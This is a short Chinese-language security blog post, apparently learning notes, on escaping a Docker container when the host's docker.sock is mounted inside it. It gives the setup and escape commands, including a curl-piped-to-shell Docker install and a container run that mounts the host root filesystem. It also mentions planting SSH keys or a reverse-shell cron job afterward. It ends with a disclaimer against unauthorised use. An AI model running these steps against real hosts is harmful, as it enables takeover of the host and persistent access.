Docker容器逃逸之Docker sock挂载

文摘   科技   2023-08-08 12:26   上海  

写在前面

    学习比较被动,总是遇到什么学什么,上个PK项目遇到docker容器入口点比较多,慢慢打卡docker容器逃逸。

目录

0x01 逃逸原理0x02 实验步骤0x03 利用步骤0x04 参考




逃逸原理(前提)

在启动`docker`容器时,如果宿主机/var/run/docker.sock文件被挂载到docker容器中,在docker容器中,也可以操作宿主机的docker指令。

find / -name docker.sock


实验步骤

创建挂载docker.sock容器

docker run -itd --name sock-test -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

进入容器检查是否存在被挂载:

find / -name docker.sock

利用步骤

进入容器安装docker环境

apt-get updateapt-get install curlcurl -fsSL https://get.docker.com/ | sh

将宿主机根目录挂载到当前容器的test目录下

###命令解析  run是启动一个容器,-v是挂载文件###这里是将"宿主机根目录/":(挂载到) "ubuntu:18.04这个容器的test文件夹"docker run -it -v /:/test ubuntu:18.04 /bin/bash

挂载成功,后续写入SSH公钥或者反弹shell计划任务,不再赘述。

参考

https://mp.weixin.qq.com/s/xDNAxknjSY3PPPdxa_GcqQhttp://www.hackdig.com/02/hack-907134.htm&wd=&eqid=e55465b70011176b0000000364562dfc




写在最后

     本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

云下信安
再溯源就不礼貌了